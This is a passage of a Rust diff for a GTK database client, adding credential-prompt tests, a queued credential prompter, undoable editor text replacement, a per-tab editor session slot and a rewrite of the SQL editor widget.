+ let reasons = [ + PromptReason::NotStored, + PromptReason::KeyringLocked, + PromptReason::KeyringUnavailable { + detail: "no service".to_owned(), + }, + PromptReason::Rejected, + ]; + + let bodies: std::collections::HashSet = reasons + .into_iter() + .map(|reason| PromptText::for_prompt(&prompt(PromptPurpose::SshPassword { reason })).body) + .collect(); + + assert_eq!(bodies.len(), 4); + } + + #[test] + fn a_passphrase_prompt_names_the_key_file() { + let text = PromptText::for_prompt(&prompt(PromptPurpose::SshPassphrase { + path: PathBuf::from("/home/u/.ssh/id_ed25519"), + reason: PromptReason::NotStored, + })); + + assert_eq!(text.heading, "Passphrase Required"); + assert!(text.body.contains("/home/u/.ssh/id_ed25519"), "{}", text.body); + } + + #[test] + fn a_host_key_prompt_shows_the_fingerprint() { + let text = PromptText::for_prompt(&prompt(PromptPurpose::SshHostKeyConfirmation { + host: "bastion.example.com".to_owned(), + algorithm: "ED25519".to_owned(), + fingerprint: "SHA256:abc".to_owned(), + })); + + assert!(text.heading.contains("bastion.example.com")); + assert!(text.body.contains("SHA256:abc")); + assert!(text.body.contains("ED25519")); + } + + #[test] + fn keyboard_interactive_shows_the_server_s_own_words() { + let text = PromptText::for_prompt(&prompt(PromptPurpose::SshKeyboardInteractive { + name: "Duo two-factor login".to_owned(), + instructions: "Enter a passcode or select one of the following options".to_owned(), + })); + + assert_eq!(text.heading, "Duo two-factor login"); + assert!(text.body.starts_with("Enter a passcode")); + + let unnamed = PromptText::for_prompt(&prompt(PromptPurpose::SshKeyboardInteractive { + name: String::new(), + instructions: String::new(), + })); + assert_eq!(unnamed.heading, "Authentication Required"); + } +} diff --git a/linux/crates/app/src/ui/credential_prompt/prompter.rs b/linux/crates/app/src/ui/credential_prompt/prompter.rs new file mode 100644 index 0000000000..d729437cbe --- /dev/null +++ b/linux/crates/app/src/ui/credential_prompt/prompter.rs @@ -0,0 +1,119 @@ +use futures::future::BoxFuture; +use tablepro_core::credentials::{CredentialPrompt, CredentialPrompter, PromptReply}; +use tokio::sync::{mpsc, oneshot}; + +/// One prompt waiting for the user, and where the answer goes. +#[derive(Debug)] +pub struct PendingPrompt { + pub prompt: CredentialPrompt, + pub reply: oneshot::Sender, +} + +/// The prompts asked for, in order, until a presenter takes them. +#[derive(Debug)] +pub struct PromptQueue { + receiver: mpsc::UnboundedReceiver, +} + +impl PromptQueue { + pub async fn next(&mut self) -> Option { + self.receiver.recv().await + } +} + +/// The `CredentialPrompter` the app hands to every attended connect. +/// +/// It only queues: the dialog is built on the GTK thread by the +/// presenter. With no presenter left to answer, every prompt is +/// cancelled rather than left hanging, so a connect never waits on a +/// window that is gone. +#[derive(Debug, Clone)] +pub struct GtkCredentialPrompter { + requests: mpsc::UnboundedSender, +} + +impl GtkCredentialPrompter { + pub fn new() -> (Self, PromptQueue) { + let (requests, receiver) = mpsc::unbounded_channel(); + (Self { requests }, PromptQueue { receiver }) + } +} + +impl CredentialPrompter for GtkCredentialPrompter { + fn prompt(&self, request: CredentialPrompt) -> BoxFuture<'static, PromptReply> { + let (reply, answer) = oneshot::channel(); + let queued = self.requests.send(PendingPrompt { prompt: request, reply }); + Box::pin(async move { + if queued.is_err() { + return PromptReply::Cancelled; + } + answer.await.unwrap_or(PromptReply::Cancelled) + }) + } +} + +#[cfg(test)] +mod tests { + use secrecy::{ExposeSecret, SecretString}; + use tablepro_core::credentials::{PromptField, PromptPurpose, PromptReason}; + + use super::*; + + fn prompt() -> CredentialPrompt { + CredentialPrompt { + purpose: PromptPurpose::DatabasePassword { + reason: PromptReason::NotStored, + }, + target: "app@db.example.com:5432/shop".to_owned(), + fields: vec![PromptField { + label: "Password".to_owned(), + secret: true, + }], + offer_remember: true, + } + } + + #[tokio::test] + async fn the_answer_given_to_the_queue_is_the_prompt_reply() { + let (prompter, mut queue) = GtkCredentialPrompter::new(); + + let answering = async { + let pending = queue.next().await.expect("a queued prompt"); + assert_eq!(pending.prompt, prompt()); + pending + .reply + .send(PromptReply::Submitted { + values: vec![SecretString::from("hunter2")], + remember: true, + }) + .expect("the asker is waiting"); + }; + let (reply, ()) = tokio::join!(prompter.prompt(prompt()), answering); + + let PromptReply::Submitted { values, remember } = reply else { + panic!("expected a submitted reply"); + }; + assert!(remember); + assert_eq!(values[0].expose_secret(), "hunter2"); + } + + #[tokio::test] + async fn a_prompt_with_no_presenter_is_cancelled() { + let (prompter, queue) = GtkCredentialPrompter::new(); + drop(queue); + + assert!(matches!(prompter.prompt(prompt()).await, PromptReply::Cancelled)); + } + + #[tokio::test] + async fn a_prompt_dropped_unanswered_is_cancelled() { + let (prompter, mut queue) = GtkCredentialPrompter::new(); + + let dropping = async { + drop(queue.next().await.expect("a queued prompt")); + }; + let (reply, ()) = tokio::join!(prompter.prompt(prompt()), dropping); + + assert!(matches!(reply, PromptReply::Cancelled)); + } +} diff --git a/linux/crates/app/src/ui/editor/buffer_edit.rs b/linux/crates/app/src/ui/editor/buffer_edit.rs new file mode 100644 index 0000000000..d7a25438bd --- /dev/null +++ b/linux/crates/app/src/ui/editor/buffer_edit.rs @@ -0,0 +1,114 @@ +use gtk4::prelude::*; + +/// Replace everything in the buffer as one step Ctrl+Z can take back. +/// +/// `TextBuffer::set_text` is recorded as irreversible, so Format, a +/// query picked from history or a loaded file would wipe what the user +/// had with no way back. A delete and an insert inside one user action +/// are a single undo step instead. +pub fn replace_all_undoable(buffer: &impl IsA, text: &str) { + let buffer = buffer.as_ref(); + buffer.begin_user_action(); + let (mut start, mut end) = buffer.bounds(); + buffer.delete(&mut start, &mut end); + let mut at = buffer.start_iter(); + buffer.insert(&mut at, text); + buffer.end_user_action(); +} + +/// Where the cursor was, by line and column, so it can be put back near +/// the same place after the text around it was rewritten. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct CursorAnchor { + line: i32, + line_offset: i32, +} + +impl CursorAnchor { + pub fn capture(buffer: &impl IsA) -> Self { + let buffer = buffer.as_ref(); + let iter = buffer.iter_at_mark(&buffer.get_insert()); + Self { + line: iter.line(), + line_offset: iter.line_offset(), + } + } + + /// Put the cursor back, clamped to the text that is there now: a + /// shorter line or fewer lines move it to the nearest end. + pub fn restore(self, buffer: &impl IsA) { + let buffer = buffer.as_ref(); + let last_line = (buffer.line_count() - 1).max(0); + let line = self.line.clamp(0, last_line); + let Some(mut iter) = buffer.iter_at_line(line) else { + buffer.place_cursor(&buffer.end_iter()); + return; + }; + let mut line_end = iter; + if !line_end.ends_line() { + line_end.forward_to_line_end(); + } + iter.set_line_offset(self.line_offset.clamp(0, line_end.line_offset())); + buffer.place_cursor(&iter); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn buffer(text: &str) -> gtk4::TextBuffer { + let buffer = gtk4::TextBuffer::new(None); + buffer.set_text(text); + buffer + } + + fn text(buffer: >k4::TextBuffer) -> String { + let (start, end) = buffer.bounds(); + buffer.text(&start, &end, false).to_string() + } + + #[gtk4::test] + fn format_is_one_undo_step() { + let buffer = buffer("select 1;select 2"); + assert!(!buffer.can_undo(), "set_text left something to undo"); + + replace_all_undoable(&buffer, "SELECT\n 1;\n\nSELECT\n 2"); + assert!(buffer.can_undo()); + + buffer.undo(); + + assert_eq!(text(&buffer), "select 1;select 2"); + assert!(!buffer.can_undo(), "the replace took more than one undo step"); + } + + #[gtk4::test] + fn cursor_anchor_clamps_to_shorter_text() { + let buffer = buffer("SELECT 1\nFROM a_long_table_name\nWHERE x = 1"); + let mut iter = buffer.iter_at_line(2).expect("a third line"); + iter.set_line_offset(9); + buffer.place_cursor(&iter); + let anchor = CursorAnchor::capture(&buffer); + + buffer.set_text("SELECT 1\nFROM t"); + anchor.restore(&buffer); + + let cursor = buffer.iter_at_mark(&buffer.get_insert()); + assert_eq!((cursor.line(), cursor.line_offset()), (1, 6)); + } + + #[gtk4::test] + fn cursor_anchor_keeps_a_position_that_still_exists() { + let buffer = buffer("SELECT 1\nFROM t"); + let mut iter = buffer.iter_at_line(1).expect("a second line"); + iter.set_line_offset(2); + buffer.place_cursor(&iter); + let anchor = CursorAnchor::capture(&buffer); + + replace_all_undoable(&buffer, "SELECT\n 1\nFROM\n t"); + anchor.restore(&buffer); + + let cursor = buffer.iter_at_mark(&buffer.get_insert()); + assert_eq!((cursor.line(), cursor.line_offset()), (1, 2)); + } +} diff --git a/linux/crates/app/src/ui/editor/editor_session_slot.rs b/linux/crates/app/src/ui/editor/editor_session_slot.rs new file mode 100644 index 0000000000..d5b8597856 --- /dev/null +++ b/linux/crates/app/src/ui/editor/editor_session_slot.rs @@ -0,0 +1,254 @@ +use std::sync::{Arc, Mutex, MutexGuard, PoisonError, Weak}; +use std::time::Duration; + +use tablepro_core::{EditorSession, EditorSessionOptions, EditorSessionState}; +use tablepro_session::{OperationError, Session}; +use tokio_util::sync::CancellationToken; + +/// The editor tab's own connection, shared with the run on the runtime. +/// +/// The run opens it and the tab closes it, possibly while a run is +/// still opening one, so the slot remembers it was closed and a session +/// opened after that is handed back to be closed rather than kept. +#[derive(Default)] +pub struct EditorSessionSlot { + state: Mutex, +} + +#[derive(Default)] +struct SlotState { + open: Option, + closed: bool, +} + +struct OpenEditor { + /// The window session it was opened from. A tab outliving a switch + /// to another database must not run on the old one. + owner: Weak, + editor: Arc, +} + +enum Lookup { + Ready(Arc), + /// None usable; `stale` is one to close before opening another. + Missing { + stale: Option>, + }, + Closed, +} + +/// Why a run got no editor session. +#[derive(Debug)] +pub enum AcquireError { + /// The tab closed or the run was stopped while it opened. + Cancelled, + Failed(String), +} + +impl EditorSessionSlot { + pub fn new() -> Self { + Self::default() + } + + /// The tab's editor session, opening one first when the tab has + /// none, or only one that was lost or belongs to a session the + /// window has since replaced. + pub async fn acquire( + &self, + session: &Arc, + statement_timeout: Option, + close_timeout: Duration, + cancel: &CancellationToken, + ) -> Result, AcquireError> { + let stale = match self.lookup(session) { + Lookup::Ready(editor) => return Ok(editor), + Lookup::Closed => return Err(AcquireError::Cancelled), + Lookup::Missing { stale } => stale, + }; + if let Some(stale) = stale { + close_quietly(stale, close_timeout).await; + } + let options = EditorSessionOptions { statement_timeout }; + match session.open_editor_session(options, cancel).await { + Ok(editor) => match self.adopt(session, editor.clone()) { + Ok(()) => Ok(editor), + Err(orphan) => { + close_quietly(orphan, close_timeout).await; + Err(AcquireError::Cancelled) + } + }, + Err(OperationError::Cancelled) => Err(AcquireError::Cancelled), + Err(error) => Err(AcquireError::Failed(crate::i18n::gettext_f( + "Could not open a connection for this editor: {error}", + &[("error", &crate::ui::error_text::operation_error_message(&error))], + ))), + } + } + + fn lookup(&self, owner: &Arc) -> Lookup { + let mut state = lock(&self.state); + if state.closed { + return Lookup::Closed; + } + match state.open.take() { + Some(open) + if open.owner.ptr_eq(&Arc::downgrade(owner)) && open.editor.state() != EditorSessionState::Lost => + { + let editor = open.editor.clone(); + state.open = Some(open); + Lookup::Ready(editor) + } + stale => Lookup::Missing { + stale: stale.map(|open| open.editor), + }, + } + } + + /// Keep a newly opened session, or hand it back when the tab closed + /// while it was opening. + fn adopt(&self, owner: &Arc, editor: Arc) -> Result<(), Arc> { + let mut state = lock(&self.state); + if state.closed { + return Err(editor); + } + state.open = Some(OpenEditor { + owner: Arc::downgrade(owner), + editor, + }); + Ok(()) + } + + /// Let go of a session whose connection is gone, so the next run + /// opens a new one. Returns whether this slot held it. + pub fn forget(&self, editor: &Arc) -> bool { + let mut state = lock(&self.state); + let held = state.open.as_ref().is_some_and(|open| open.editor.id() == editor.id()); + if held { + state.open = None; + } + held + } + + /// Mark the tab gone and take its session to close. Every later + /// open is closed straight away. + pub fn close(&self) -> Option> { + let mut state = lock(&self.state); + state.closed = true; + state.open.take().map(|open| open.editor) + } +} + +impl std::fmt::Debug for EditorSessionSlot { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + let state = lock(&self.state); + f.debug_struct("EditorSessionSlot") + .field("open", &state.open.is_some()) + .field("closed", &state.closed) + .finish() + } +} + +pub async fn close_quietly(editor: Arc, close_timeout: Duration) { + if tokio::time::timeout(close_timeout, editor.close()).await.is_err() { + tracing::warn!("an editor session did not close in time"); + } +} + +fn lock(mutex: &Mutex) -> MutexGuard<'_, T> { + mutex.lock().unwrap_or_else(PoisonError::into_inner) +} + +#[cfg(test)] +pub(super) mod tests { + use tablepro_test_support::{FakeEditorSession, FakeRun, Replies}; + + use super::*; + + pub(crate) fn session_opening( + editors: Vec>, + ) -> (Arc, Arc) { + use tablepro_session::fakes::{FakeConnector, FakeCredentialSource}; + use tablepro_session::operation::DefaultDeadlines; + use tablepro_test_support::{ConnectionScript, FakeReply}; + + let mut script = ConnectionScript::default(); + for editor in editors { + script.open_editor_session.once(FakeReply::ok(editor)); + } + let (pending, connection) = FakeConnector::pending_session(FakeConnector::request().unwrap(), script); + let session = Session::start( + pending, + tablepro_session::SessionDeps { + connector: Arc::new(FakeConnector::new([])), + credentials: Arc::new(FakeCredentialSource::new()), + deadlines: Arc::new(DefaultDeadlines::new(tablepro_core::LivenessPolicy::DESKTOP)), + tasks: crate::test_support::paused_tasks(), + prompter: None, + }, + ); + (session, connection) + } + + fn answering() -> Arc { + let mut runs = Replies::default(); + runs.always(FakeRun::completed(Vec::new())); + Arc::new(FakeEditorSession::new(runs)) + } + + const CLOSE: Duration = Duration::from_secs(10); + + #[tokio::test] + async fn a_tab_opens_its_editor_session_once_and_reuses_it() { + let editor = answering(); + let (session, connection) = session_opening(vec![editor.clone()]); + let slot = EditorSessionSlot::new(); + + let first = slot + .acquire(&session, None, CLOSE, &CancellationToken::new()) + .await + .expect("an editor session"); + let second = slot + .acquire(&session, None, CLOSE, &CancellationToken::new()) + .await + .expect("the same editor session"); + + assert_eq!(first.id(), second.id()); + assert_eq!( + tablepro_test_support::CallCounters::get(&connection.counters().open_editor_session), + 1 + ); + } + + #[tokio::test] + async fn a_new_window_session_replaces_the_old_editor_session() { + let old_editor = answering(); + let new_editor = answering(); + let (old_session, _) = session_opening(vec![old_editor.clone()]); + let (new_session, _) = session_opening(vec![new_editor.clone()]); + let slot = EditorSessionSlot::new(); + + for session in [old_session, new_session] { + slot.acquire(&session, None, CLOSE, &CancellationToken::new()) + .await + .expect("an editor session"); + } + + assert_eq!(old_editor.close_count(), 1, "the old session was left open"); + assert_eq!(new_editor.close_count(), 0); + } + + #[tokio::test] + async fn a_session_opened_after_the_tab_closed_is_handed_back() { + let editor: Arc = answering(); + let (session, _) = session_opening(Vec::new()); + let slot = EditorSessionSlot::new(); + + assert!(slot.close().is_none()); + + assert!(slot.adopt(&session, editor).is_err()); + assert!(matches!( + slot.acquire(&session, None, CLOSE, &CancellationToken::new()).await, + Err(AcquireError::Cancelled) + )); + } +} diff --git a/linux/crates/app/src/ui/editor/imp.rs b/linux/crates/app/src/ui/editor/imp.rs new file mode 100644 index 0000000000..d1e29d6272 --- /dev/null +++ b/linux/crates/app/src/ui/editor/imp.rs @@ -0,0 +1,104 @@ +use std::cell::{Cell, OnceCell, RefCell}; +use std::sync::{Arc, OnceLock}; + +use glib::subclass::Signal; +use gtk4::glib; +use gtk4::prelude::*; +use gtk4::subclass::prelude::*; +use libadwaita as adw; +use libadwaita::subclass::prelude::*; +use tokio_util::sync::CancellationToken; + +use super::EditorDeps; +use super::editor_session_slot::EditorSessionSlot; +use super::results_pane::ResultsPane; +use super::run_log::RunLog; +use crate::ui::grid::GridMsg; + +/// A run in flight: its cancel switch, and the loop that brings its +/// results to the GTK thread. +pub struct RunningScript { + pub cancel: CancellationToken, + pub drain: glib::JoinHandle<()>, +} + +#[derive(Default, gtk4::CompositeTemplate)] +#[template(resource = "/app/tablepro/TablePro/ui/sql-editor.ui")] +pub struct SqlEditor { + #[template_child] + pub cursor_info: TemplateChild, + #[template_child] + pub menu_button: TemplateChild, + #[template_child] + pub stop_button: TemplateChild, + #[template_child] + pub run_button: TemplateChild, + #[template_child] + pub source_view: TemplateChild, + #[template_child] + pub results: TemplateChild, + + pub(super) deps: OnceCell, + /// This tab's own connection, which keeps its transaction and + /// temporary tables between runs. + pub slot: Arc, + pub running: RefCell>, + pub log: RefCell>, + pub grid_sender: OnceCell>, + /// Whether the last run left a transaction open, as last reported. + pub transaction_dirty: Cell, + pub shut_down: Cell, +} + +#[glib::object_subclass] +impl ObjectSubclass for SqlEditor { + const NAME: &'static str = "TableProSqlEditor"; + type Type = super::SqlEditor; + type ParentType = adw::Bin; + + fn class_init(klass: &mut Self::Class) { + sourceview5::View::ensure_type(); + ResultsPane::ensure_type(); + klass.bind_template(); + } + + fn instance_init(object: &glib::subclass::InitializingObject) { + object.init_template(); + } +} + +impl ObjectImpl for SqlEditor { + fn signals() -> &'static [Signal] { + static SIGNALS: OnceLock> = OnceLock::new(); + SIGNALS.get_or_init(|| { + vec![ + Signal::builder("run-state-changed") + .param_types([bool::static_type()]) + .build(), + Signal::builder("query-changed") + .param_types([String::static_type()]) + .build(), + Signal::builder("copy-to-clipboard") + .param_types([String::static_type()]) + .build(), + Signal::builder("toast").param_types([String::static_type()]).build(), + Signal::builder("undoable-toast") + .param_types([String::static_type()]) + .build(), + Signal::builder("export-results") + .param_types([glib::BoxedAnyObject::static_type()]) + .build(), + Signal::builder("transaction-changed") + .param_types([bool::static_type()]) + .build(), + ] + }) + } + + fn dispose(&self) { + self.obj().shutdown(); + } +} + +impl WidgetImpl for SqlEditor {} +impl BinImpl for SqlEditor {} diff --git a/linux/crates/app/src/ui/editor/mod.rs b/linux/crates/app/src/ui/editor/mod.rs index 8c34321e9a..a4a3fd9dec 100644 --- a/linux/crates/app/src/ui/editor/mod.rs +++ b/linux/crates/app/src/ui/editor/mod.rs @@ -1,1060 +1,783 @@ +//! The SQL editor tab. Each run goes through the tab's own editor +//! session, one statement or `GO` batch at a time, and every statement +//! gets a line in the results list. + +mod buffer_edit; +mod editor_session_slot; mod format_plan; +mod imp; +mod result_item; +mod result_widgets; +mod results_pane; +mod run_history; +mod run_log; +mod run_scope; +mod script_runner; +mod sidebar_policy; mod significant_tokens; mod statement_cursor; +#[cfg(test)] +mod tests; +mod transaction_dirty; -use std::time::SystemTime; +use std::rc::Rc; +use std::time::{Duration, SystemTime}; -use relm4::adw::prelude::*; -use relm4::gtk::glib; -use relm4::prelude::*; -use relm4::{adw, gtk}; +use gtk4::glib; +use gtk4::prelude::*; +use gtk4::subclass::prelude::*; +use libadwaita as adw; +use libadwaita::prelude::*; use sourceview5::prelude::*; +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::{QueryResult, RowLimit}; +use tablepro_session::runtime::{ProcessHold, Tasks}; use tokio_util::sync::CancellationToken; -use tablepro_core::QueryResult; -use tablepro_storage::query_history::{NewEntry, Outcome}; - -use super::grid::{GridMsg, TabGridContext, build_column_view}; -use crate::services::database_service::{self, ConnectionMetadata}; - -pub struct SqlEditor { - settings: std::rc::Rc, - history: Option, - tasks: tablepro_session::runtime::Tasks, - source_view: sourceview5::View, - run_button: gtk::Button, - cancel_button: gtk::Button, - running_spinner: adw::Spinner, - results_holder: gtk::Box, - status: gtk::Label, - grid_sender: relm4::Sender, - cancel_token: Option, - executing_sql: Option, - executing_metadata: Option, - executing_started_at: Option, +use self::buffer_edit::{CursorAnchor, replace_all_undoable}; +use self::imp::RunningScript; +use self::run_log::{RunEvent, RunLog}; +use self::run_scope::ScopedText; +use self::script_runner::{ScriptRun, plan_batches, run_in_tab}; +use super::grid::GridMsg; +use crate::services::active_session::ActiveSession; + +glib::wrapper! { + pub struct SqlEditor(ObjectSubclass) + @extends adw::Bin, gtk4::Widget, + @implements gtk4::Accessible, gtk4::Buildable, gtk4::ConstraintTarget; } pub struct SqlEditorInit { - pub schema_buffer: gtk::TextBuffer, + pub schema_buffer: gtk4::TextBuffer, pub initial_query: Option, - pub settings: std::rc::Rc, + pub settings: Rc, pub history: Option, - pub tasks: tablepro_session::runtime::Tasks, + pub tasks: Tasks, + /// The window's session, which the tab opens its own connection + /// from on the first run. + pub session: ActiveSession, + /// Keeps the process alive while the tab's connection closes. + pub hold: Rc, + pub close_timeout: Duration, } -/// One statement's outcome inside a multi-statement script. The -/// editor renders these as sub-tabs of the results pane so a user -/// running a migration / ETL script sees every step's result, not -/// just the last one. `sql_preview` is the leading ~60 chars of the -/// statement text used for the tab tooltip. -#[derive(Debug, Clone)] -pub struct StatementOutcome { - pub sql_preview: String, - pub elapsed_ms: u128, - pub kind: StatementOutcomeKind, +pub(crate) struct EditorDeps { + settings: Rc, + history: Option, + tasks: Tasks, + session: ActiveSession, + hold: Rc, + close_timeout: Duration, } -#[derive(Debug, Clone)] -pub enum StatementOutcomeKind { - /// Statement returned a result set (SELECT, RETURNING, etc.). - /// `rows_affected` is `None` because driver `query` doesn't - /// distinguish; for non-SELECT the rows vec is empty and we - /// surface a "executed" status instead of a row count. - Rows(QueryResult), - /// Statement failed; remaining statements are NotRun. - Error(String), - /// Statement was queued behind a failure or cancellation — - /// never sent to the driver. - NotRun, -} +impl SqlEditor { + pub fn new(init: SqlEditorInit) -> Self { + let editor: Self = glib::Object::new(); + let imp = editor.imp(); + let _ = imp.deps.set(EditorDeps { + settings: init.settings.clone(), + history: init.history, + tasks: init.tasks, + session: init.session, + hold: init.hold, + close_timeout: init.close_timeout, + }); + let initial_text = init.initial_query.unwrap_or_else(|| "SELECT 1;".to_owned()); + let buffer = match sourceview5::LanguageManager::default().language("sql") { + Some(language) => sourceview5::Buffer::with_language(&language), + None => sourceview5::Buffer::new(None), + }; + // The text the tab opens with is not an edit to take back. + buffer.set_text(&initial_text); + imp.source_view.set_buffer(Some(&buffer)); + editor.connect_theme(&init.settings); + editor.connect_completion(&init.schema_buffer, &buffer); + editor.connect_buffer(&buffer); + editor.install_actions(); + editor.install_shortcuts(); + editor.install_drop_target(); + editor.connect_buttons(); + editor.connect_grid(); + editor + } -#[derive(Debug)] -pub enum SqlEditorInput { - Run, - Cancel, - /// One outcome per statement in the script. Single-statement - /// scripts produce a Vec of len 1; multi-statement scripts a - /// Vec of len N. The editor decides the rendering (single grid - /// vs. sub-tabs) based on Vec length. - ShowOutcomes(Vec), - ShowCancelled, - /// Query exceeded the configured wall-clock timeout. Treated - /// like a manual cancel from the user's perspective but with - /// a different status / history-record reason. - ShowTimedOut(u32), - ReplaceQuery(String), - /// Ctrl+Shift+F → reformat the buffer in place via sqlformat. - Format, - /// Ctrl+Shift+Return → run only the SQL statement under the - /// cursor. Falls back to a status hint when the cursor is in - /// whitespace or a leading comment with no statement around it. - RunAtCursor, - /// Load a `.sql` file into the buffer, so a migration or a script - /// kept on disk can be run without pasting it in. - OpenFile, - /// The file came back; `None` when it could not be read as text. - FileLoaded(Option), - /// Ctrl+/ → toggle SQL line-comment for the selected lines (or - /// the cursor's line). Standard IDE shortcut. - ToggleLineComment, - /// Context-menu actions from a result grid. - Grid(GridMsg), -} + /// The text buffer, so the draft writer can read the script once per + /// write rather than carrying a copy of it per keystroke. + pub fn buffer(&self) -> gtk4::TextBuffer { + self.imp().source_view.buffer() + } -#[derive(Debug)] -pub enum SqlEditorOutput { - RunStateChanged(bool), - QueryChanged(String), - CopyToClipboard(String), - ShowToast(String), - /// "Export Results…" from a result grid's context menu, with the - /// file-name stem derived from the statement that produced it. - ExportResults { - result: QueryResult, - name: String, - }, -} + pub fn is_running(&self) -> bool { + self.imp().running.borrow().is_some() + } + + /// Whether the tab's connection holds a transaction the user opened. + pub fn has_open_transaction(&self) -> bool { + self.imp().transaction_dirty.get() + } + + /// Stop the running query. The results list says what ran before. + pub fn stop(&self) { + if let Some(running) = self.imp().running.borrow().as_ref() { + running.cancel.cancel(); + } + } + + /// Put a query from history or a saved query in the buffer, as one + /// step Ctrl+Z takes back. + pub fn replace_query(&self, text: &str) { + let buffer = self.buffer(); + if buffer_text(&buffer) == text { + return; + } + replace_all_undoable(&buffer, text); + self.emit_by_name::<()>("undoable-toast", &[&crate::i18n::gettext("Query replaced")]); + } + + /// Take back the last edit, for a toast's Undo button. + pub fn undo(&self) { + let buffer = self.buffer(); + if buffer.can_undo() { + buffer.undo(); + } + } + + /// Close the tab's connection. The process is held until the close + /// ends, so quitting right after closing a tab does not cut it off. + pub fn shutdown(&self) { + let imp = self.imp(); + if imp.shut_down.replace(true) { + return; + } + if let Some(running) = imp.running.take() { + running.cancel.cancel(); + running.drain.abort(); + } + let (Some(editor), Some(deps)) = (imp.slot.close(), imp.deps.get()) else { + return; + }; + let hold = deps.hold.acquire(); + let closing = tablepro_session::close_editor_sessions(vec![editor], deps.close_timeout, &deps.tasks); + glib::spawn_future_local(async move { + match closing.await { + Ok(reports) => tracing::debug!(?reports, "closed an editor tab's session"), + Err(failure) => tracing::warn!(%failure, "closing an editor tab's session failed"), + } + drop(hold); + }); + } -#[relm4::component(pub)] -impl SimpleComponent for SqlEditor { - type Init = SqlEditorInit; - type Input = SqlEditorInput; - type Output = SqlEditorOutput; + /// Run the selection, or the whole buffer when nothing is selected. + pub fn run(&self) { + let buffer = self.buffer(); + let text = buffer_text(&buffer); + let selection = buffer.selection_bounds().map(|(start, end)| { + let start = usize::try_from(start.offset()).unwrap_or_default(); + let end = usize::try_from(end.offset()).unwrap_or_default(); + start..end + }); + match run_scope::for_run(&text, selection) { + Some(scoped) => self.execute(scoped), + None => self.say(&crate::i18n::gettext("There is nothing to run.")), + } + } + + /// Run the statement the cursor is in, selecting it so the user sees + /// which of the buffer's queries ran. + pub fn run_at_cursor(&self) { + let buffer = self.buffer(); + let text = buffer_text(&buffer); + let plan = statement_cursor::plan_for(&text, self.grammar()); + let cursor = usize::try_from(buffer.iter_at_mark(&buffer.get_insert()).offset()).unwrap_or_default(); + let Some((scoped, range)) = run_scope::at_cursor(&text, &plan, cursor) else { + self.say(&crate::i18n::gettext("No statement at the cursor.")); + return; + }; + let start = buffer.iter_at_offset(i32::try_from(range.start).unwrap_or(i32::MAX)); + let end = buffer.iter_at_offset(i32::try_from(range.end).unwrap_or(i32::MAX)); + buffer.select_range(&start, &end); + self.execute(scoped); + } - view! { - adw::ToolbarView { - // Top bar: cursor + status pushed right by an empty - // spacer; Run on the trailing edge with Cancel beside it - // when a query is in flight. The decorative "SQL" label - // was removed — the tab title carries that context, and - // GNOME Builder / Text Editor don't label their editor - // areas by language either. Cancel is flat (not - // destructive-action) because cancelling a running query - // doesn't destroy data; .destructive-action is reserved - // for irreversible operations. - add_top_bar = >k::Box { - set_orientation: gtk::Orientation::Horizontal, - set_spacing: 8, - set_margin_top: 8, - set_margin_bottom: 8, - set_margin_start: 8, - set_margin_end: 8, + /// Reformat the buffer per statement, as one undo step, keeping the + /// cursor near where it was. + pub fn format(&self) { + let buffer = self.buffer(); + let text = buffer_text(&buffer); + if text.trim().is_empty() { + return; + } + let grammar = self.grammar(); + let settings = tablepro_core::sql_syntax::script::LexicalSettings::default_for(grammar); + let formatted = format_plan::format_script(&text, grammar, settings); + if formatted == text { + return; + } + let anchor = CursorAnchor::capture(&buffer); + replace_all_undoable(&buffer, &formatted); + anchor.restore(&buffer); + self.imp().source_view.scroll_mark_onscreen(&buffer.get_insert()); + } - gtk::Box { - set_hexpand: true, - }, + /// Read a dropped or chosen file and put it in the buffer: the whole + /// buffer when it is empty, at the cursor otherwise. + pub async fn insert_file(&self, file: gio::File, replace: bool) { + let text = match load_text(&file).await { + Ok(text) => text, + Err(message) => { + self.emit_by_name::<()>("toast", &[&message]); + return; + } + }; + let buffer = self.buffer(); + if replace || buffer_text(&buffer).trim().is_empty() { + replace_all_undoable(&buffer, &text); + } else { + buffer.begin_user_action(); + buffer.insert_at_cursor(&text); + buffer.end_user_action(); + } + } - #[name = "cursor_info"] - gtk::Label { - set_halign: gtk::Align::End, - add_css_class: "dim-label", - add_css_class: "monospace", - set_margin_end: 8, - }, + pub fn connect_run_state_changed(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "run-state-changed", + false, + glib::closure_local!(move |editor: &Self, running: bool| f(editor, running)), + ) + } - #[name = "running_spinner"] - adw::Spinner { - set_visible: false, - set_size_request: (20, 20), - }, + pub fn connect_query_changed(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "query-changed", + false, + glib::closure_local!(move |editor: &Self, text: String| f(editor, text)), + ) + } - #[name = "status"] - gtk::Label { - set_halign: gtk::Align::End, - add_css_class: "dim-label", - }, + pub fn connect_copy_to_clipboard(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "copy-to-clipboard", + false, + glib::closure_local!(move |editor: &Self, text: String| f(editor, text)), + ) + } - // Format had only a shortcut, and opening a file had - // nowhere to live. One menu gives both a place without - // crowding the bar that Run sits on. - gtk::MenuButton { - set_icon_name: crate::ui::icons::VIEW_MORE, - set_tooltip_text: Some(crate::i18n::gettext("Editor options").as_str()), - add_css_class: "flat", - set_menu_model: Some(&editor_menu()), - }, + pub fn connect_toast(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "toast", + false, + glib::closure_local!(move |editor: &Self, text: String| f(editor, text)), + ) + } - #[name = "cancel_button"] - gtk::Button { - set_label: &crate::i18n::gettext("Cancel"), - set_tooltip_text: Some(crate::i18n::gettext("Cancel running query (Esc)").as_str()), - set_visible: false, - add_css_class: "flat", - connect_clicked => SqlEditorInput::Cancel, - }, + /// A toast whose Undo button calls `undo`. + pub fn connect_undoable_toast(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "undoable-toast", + false, + glib::closure_local!(move |editor: &Self, text: String| f(editor, text)), + ) + } - #[name = "run_button"] - gtk::Button { - set_label: &crate::i18n::gettext("Run"), - set_tooltip_text: Some(crate::i18n::gettext("Run query (Ctrl+Return)").as_str()), - add_css_class: "suggested-action", - connect_clicked => SqlEditorInput::Run, - }, - }, + pub fn connect_export_results(&self, f: F) -> glib::SignalHandlerId { + 